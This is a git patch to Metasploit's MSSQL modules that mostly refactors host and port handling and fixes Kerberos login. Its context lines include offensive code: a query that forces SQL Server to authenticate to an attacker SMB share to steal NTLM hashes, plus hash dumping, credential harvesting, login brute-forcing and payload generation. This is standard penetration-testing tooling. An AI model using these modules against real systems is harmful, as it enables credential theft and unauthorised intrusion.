From 24ebf3e9a10531895f68ba000d1ae679583f8469 Mon Sep 17 00:00:00 2001 From: Zach Goldman Date: Wed, 31 Jan 2024 12:02:58 -0600 Subject: [PATCH] kerberos fixes --- .../framework/login_scanner/mssql.rb | 4 ++-- lib/msf/core/exploit/remote/mssql.rb | 4 ++++ lib/rex/proto/mssql/client.rb | 17 ++++++++--------- .../admin/mssql/mssql_enum_domain_accounts.rb | 13 +++++++------ .../admin/mssql/mssql_enum_sql_logins.rb | 2 +- .../admin/mssql/mssql_escalate_dbowner.rb | 3 +-- .../admin/mssql/mssql_escalate_execute_as.rb | 2 +- .../admin/mssql/mssql_findandsampledata.rb | 6 +++--- .../admin/mssql/mssql_ntlm_stealer.rb | 4 ++-- .../auxiliary/fuzzers/tds/tds_login_corrupt.rb | 2 +- .../fuzzers/tds/tds_login_username.rb | 2 +- .../auxiliary/gather/lansweeper_collector.rb | 4 ++-- .../auxiliary/scanner/mssql/mssql_hashdump.rb | 11 ++++++----- modules/auxiliary/scanner/mssql/mssql_login.rb | 18 +++++------------- .../scanner/mssql/mssql_schemadump.rb | 10 ++++++---- .../mssql/lyris_listmanager_weak_pass.rb | 2 +- .../windows/mssql/mssql_linkcrawler.rb | 6 +++--- 17 files changed, 54 insertions(+), 56 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb index 658420801fe0b..3c4a9a5c9b9bf 100644 --- a/lib/metasploit/framework/login_scanner/mssql.rb +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -55,8 +55,8 @@ class MSSQL attr_accessor :tdsencryption - validates :tdsencryption, - inclusion: { in: [true, false] } + # validates :tdsencryption, - TODO: support TDS Encryption + # inclusion: { in: [true, false] } def attempt_login(credential) result_options = { diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb index 3cfbfc6857c9e..833a8e6b83532 100644 --- a/lib/msf/core/exploit/remote/mssql.rb +++ b/lib/msf/core/exploit/remote/mssql.rb @@ -99,6 +99,10 @@ def mssql_ping_parse(data) return res end + def disconnect + @client.disconnect + end + # # Execute a system command via xp_cmdshell # diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 2523b31bd27e4..6bcf0129ace33 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -46,11 +46,12 @@ class Client def initialize(framework_module, framework, rhost, rport = 1433) @framework_module = framework_module @framework = framework - @connection_timeout = framework_module.datastore['ConnectTimeout'] || 30 - @max_send_size = framework_module.datastore['TCP::max_send_size'] || 0 - @send_delay = framework_module.datastore['TCP::send_delay'] || 0 + @connection_timeout = framework_module.datastore['ConnectTimeout'] || 30 + @max_send_size = framework_module.datastore['TCP::max_send_size'] || 0 + @send_delay = framework_module.datastore['TCP::send_delay'] || 0 - @auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO + @auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO + @hostname = framework_module.datastore['Mssql::Rhostname'] || '' @windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false @tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false @@ -58,7 +59,7 @@ def initialize(framework_module, framework, rhost, rport = 1433) @rhost = rhost @rport = rport end - + # # This method connects to the server over TCP and attempts # to authenticate with the supplied username and password @@ -101,11 +102,10 @@ def mssql_login(user='sa', pass='', db='', domain_name='') cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name sname = Rex::Text.to_unicode( rhost ) - - framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if hostname.blank? + framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank? kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new( host: domain_controller_rhost, - hostname: hostname, + hostname: @hostname, mssql_port: rport, proxies: proxies, realm: domain_name, @@ -404,7 +404,6 @@ def mssql_login(user='sa', pass='', db='', domain_name='') info = {:errors => []} info = mssql_parse_reply(resp, info) - return false if not info info[:login_ack] ? true : false end diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb index f0b772157fcd3..0c1a452358ef8 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb @@ -28,13 +28,13 @@ def initialize(info = {}) register_options( [ - OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]) + OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), ]) end def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else @@ -106,16 +106,16 @@ def run # Create output file this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :name => 'mssql', :proto => 'tcp' ) - file_name = "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv" + file_name = "#{rhost}-#{rport}_windows_domain_accounts.csv" path = store_loot( 'mssql.domain.accounts', 'text/plain', - datastore['RHOST'], + rhost, windows_domain_login_table.to_csv, file_name, 'Domain Users enumerated through SQL Server', @@ -175,6 +175,7 @@ def get_win_domain_users(windows_domain_sid) # Get windows domain def get_windows_domain + # Setup query to check the domain sql = "SELECT DEFAULT_DOMAIN() as mydomain" diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb index 2f8edad42dc1f..50f9046a1c2f4 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -32,7 +32,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index c7810eb09b9d9..3b9b1a913922a 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -23,8 +23,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") - + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb index 190f5055fd4c4..993ce785d5dd7 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -23,7 +23,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index e889b1eb00450..40a712295c394 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -338,16 +338,16 @@ def sql_statement() # STATUSING print_line(" ") - print_status("Attempting to connect to the SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...") + print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...") # CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING begin result = mssql_query(sql, false) if mssql_login_datastore column_data = result[:rows] - print_good("Successfully connected to #{datastore['RHOST']}:#{datastore['RPORT']}") + print_good("Successfully connected to #{rhost}:#{rport}") rescue - print_error("Failed to connect to #{datastore['RHOST']}:#{datastore['RPORT']}.") + print_error("Failed to connect to #{rhost}:#{rport}.") return end diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index fc00f5d06eb15..0dd06d8126ca5 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -63,7 +63,7 @@ def run_host(ip) # Method to force sql server to authenticate def force_auth(sprocedure,smbproxy) - print_status("Forcing SQL Server at #{datastore['RHOST']} to auth to #{smbproxy} via #{sprocedure}...") + print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...") # Generate random file name rand_filename = Rex::Text.rand_text_alpha(8, bad='') @@ -72,7 +72,7 @@ def force_auth(sprocedure,smbproxy) sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'" result = mssql_query(sql, false) if mssql_login_datastore column_data = result[:rows] - print_good("Successfully executed #{sprocedure} on #{datastore['RHOST']}") + print_good("Successfully executed #{sprocedure} on #{rhost}") print_good("Go check your SMB relay or capture module for goodies!") end diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index 771acbf958f4d..78af3d93d6f1f 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -45,7 +45,7 @@ def make_login(opts={}) uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] ) + sname = Rex::Text.to_unicode( opts[:sname] || rhost ) dname = Rex::Text.to_unicode( opts[:dname] || db ) idx = pkt.size + 50 # lengths below diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 072bd5f5db449..5de7a2109a292 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -50,7 +50,7 @@ def do_login(opts={}) uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] ) + sname = Rex::Text.to_unicode( opts[:sname] || rhost ) dname = Rex::Text.to_unicode( opts[:dname] || db ) idx = pkt.size + 50 # lengths below diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 37a083997f37a..4649005849e71 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -152,8 +152,8 @@ def run print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}") report_cred( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :creds_name => row[0], :user => row[1], :password => pw diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 9d5e7a8969664..379b2dc207ed0 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -32,7 +32,7 @@ def run_host(ip) service_data = { address: ip, - port: datastore['RPORT'], + port: rport, service_name: 'mssql', protocol: 'tcp', workspace_id: myworkspace_id @@ -70,7 +70,8 @@ def run_host(ip) create_credential_login(login_data) # Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) - instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1] + instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\') + instancename = instance_info[1] || instance_info[0] print_status("Instance Name: #{instancename.inspect}") version = mssql_query(mssql_sql_info())[:rows][0][0] version_year = version.split('-')[0].slice(/\d\d\d\d/) @@ -99,8 +100,8 @@ def report_hashes(mssql_hashes, version_year) end this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :name => 'mssql', :proto => 'tcp' ) @@ -113,7 +114,7 @@ def report_hashes(mssql_hashes, version_year) service_data = { address: ::Rex::Socket.getaddress(rhost,true), - port: datastore['RPORT'], + port: rport, service_name: 'mssql', protocol: 'tcp', workspace_id: myworkspace_id diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index ee66ea37648d8..accfaf69e84f4 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -8,6 +8,7 @@ require 'rex/proto/mssql/client' class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute @@ -30,21 +31,12 @@ def initialize 'BLANK_PASSWORDS' => true } ) - register_options( - [ - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) deregister_options('PASSWORD_SPRAY') end def run_host(ip) - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - MSSQL - Starting authentication scanner.") + print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") if datastore['TDSENCRYPTION'] print_status("Manually enabled TLS/SSL to encrypt TDS payloads.") @@ -58,7 +50,7 @@ def run_host(ip) scanner = Metasploit::Framework::LoginScanner::MSSQL.new( host: ip, - port: datastore['RPORT'], + port: rport, proxies: datastore['PROXIES'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], @@ -92,10 +84,10 @@ def run_host(ip) credential_data[:core] = credential_core create_credential_login(credential_data) - print_good "#{ip}:#{datastore['RPORT']} - Login Successful: #{result.credential}" + print_good "#{ip}:#{rport} - Login Successful: #{result.credential}" else invalidate_login(credential_data) - vprint_error "#{ip}:#{datastore['RPORT']} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index 1fdd425699ad2..b44036d8095e9 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -31,12 +31,14 @@ def initialize def run_host(ip) if !mssql_login_datastore - print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Invalid SQL Server credentials") + print_error("#{rhost}:#{rport} - Invalid SQL Server credentials") return end # Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) - instancename = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[0] + instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\') + instancename = instance_info[1] || instance_info[0] + print_status("Instance Name: #{instancename.inspect}") version = mssql_query(mssql_sql_info())[:rows][0][0] output = "Microsoft SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n Instance: #{instancename} \n Version: #{version} \n====================\n\n" @@ -46,10 +48,10 @@ def run_host(ip) return nil if mssql_schema.nil? or mssql_schema.empty? mssql_schema.each do |db| report_note( - :host => datastore['RHOST'], + :host => rhost, :type => "mssql.db.schema", :data => db, - :port => datastore['RPORT'], + :port => rport, :proto => 'tcp', :update => :unique_data ) diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index 71ee517fb7109..a6012ac08462d 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -72,7 +72,7 @@ def exploit end print_status("") - print_good("Successfully authenticated to #{datastore['RHOST']}:#{datastore['RPORT']} with user 'sa' and password '#{pass}'") + print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'") print_status("") exe = generate_payload_exe diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index eb33a73e6f711..a8dc959508e56 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -76,7 +76,7 @@ def exploit print_status("-------------------------------------------------") # Check if credentials are correct - print_status("Attempting to connect to SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...") + print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...") if !mssql_login_datastore print_error("Invalid SQL Server credentials") @@ -240,8 +240,8 @@ def exploit this_service = nil if framework.db and framework.db.active this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :name => 'mssql', :proto => 'tcp' )